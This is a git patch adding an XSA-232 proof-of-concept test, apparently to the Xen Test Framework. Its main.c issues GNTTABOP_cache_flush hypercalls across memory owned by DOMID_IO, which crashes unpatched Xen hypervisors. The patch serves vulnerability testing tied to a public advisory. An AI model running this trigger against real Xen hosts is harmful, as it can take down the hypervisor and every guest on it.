XSA-232 PoC

Based on an example provided by Matthew Daley.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

diff --git a/docs/all-tests.dox b/docs/all-tests.dox
index d53935872c24d098538988d421e80b414c78c6c9..f13f0adc0c3d8c09242553704bb71872c2d7028a 100644 (file)
--- a/docs/all-tests.dox
+++ b/docs/all-tests.dox
@@ -104,6 +104,8 @@ guest breakout.
 
 @subpage test-xsa-231 - Missing NUMA node parameter verification.
 
+@subpage test-xsa-232 - Missing check for grant table.
+
 
 @section index-utility Utilities
 

diff --git a/include/xen/grant_table.h b/include/xen/grant_table.h
index d68f265a219803485245fa76187154a310cbdcb3..80bfe08a91b31bc2d85d479ba1920911f619ef46 100644 (file)
--- a/include/xen/grant_table.h
+++ b/include/xen/grant_table.h
@@ -289,6 +289,24 @@ struct gnttab_set_version {
     uint32_t version;
 };
 
+/*
+ * Issue one or more cache maintenance operations on a portion of a
+ * page granted to the calling domain by a foreign domain.
+ */
+#define GNTTABOP_cache_flush         12
+struct gnttab_cache_flush {
+    union {
+        uint64_t dev_bus_addr;
+        grant_ref_t ref;
+    } a;
+    uint16_t offset; /* offset from start of grant */
+    uint16_t length; /* size within the grant */
+#define GNTTAB_CACHE_CLEAN          (1<<0)
+#define GNTTAB_CACHE_INVAL          (1<<1)
+#define GNTTAB_CACHE_SOURCE_GREF    (1<<31)
+    uint32_t op;
+};
+
 #endif /* XEN_PUBLIC_GRANT_TABLE_H */
 
 /*

diff --git a/tests/xsa-232/Makefile b/tests/xsa-232/Makefile
new file mode 100644 (file)
index 0000000..ff35cc9
--- /dev/null
+++ b/tests/xsa-232/Makefile
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-232
+CATEGORY  := xsa
+TEST-ENVS := pv64 hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk

diff --git a/tests/xsa-232/main.c b/tests/xsa-232/main.c
new file mode 100644 (file)
index 0000000..5686bd7
--- /dev/null
+++ b/tests/xsa-232/main.c
@@ -0,0 +1,48 @@
+/**
+ * @file tests/xsa-232/main.c
+ * @ref test-xsa-232
+ *
+ * @page test-xsa-232 XSA-232
+ *
+ * Advisory: [XSA-232](http://xenbits.xen.org/xsa/advisory-232.html)
+ *
+ * GNTTABOP_cache_flush takes a machine address, looks up the page owner and
+ * unconditionally follows the owners grant table pointer.  For system domains
+ * such as DOMID_IO, there is no grant table set up.
+ *
+ * Loop over the first 1MB of memory (which is owned by DOMID_IO), poking the
+ * hypercall.  If Xen remains alive, it is probably not vulnerable.
+ *
+ * @see tests/xsa-232/main.c
+ */
+#include <xtf.h>
+
+#include <arch/pagetable.h>
+#include <arch/symbolic-const.h>
+
+const char test_title[] = "XSA-232 PoC";
+
+void test_main(void)
+{
+    struct gnttab_cache_flush flush = {
+        .length = PAGE_SIZE,
+        .op = GNTTAB_CACHE_INVAL | GNTTAB_CACHE_CLEAN,
+    };
+
+    for ( ; flush.a.dev_bus_addr < MB(1); flush.a.dev_bus_addr += PAGE_SIZE )
+        hypercall_grant_table_op(GNTTABOP_cache_flush, &flush, 1);
+
+    /* If Xen is alive at this point, it is probably not vulnerable. */
+
+    xtf_success("Success: Probably not vulnerable to XSA-232\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */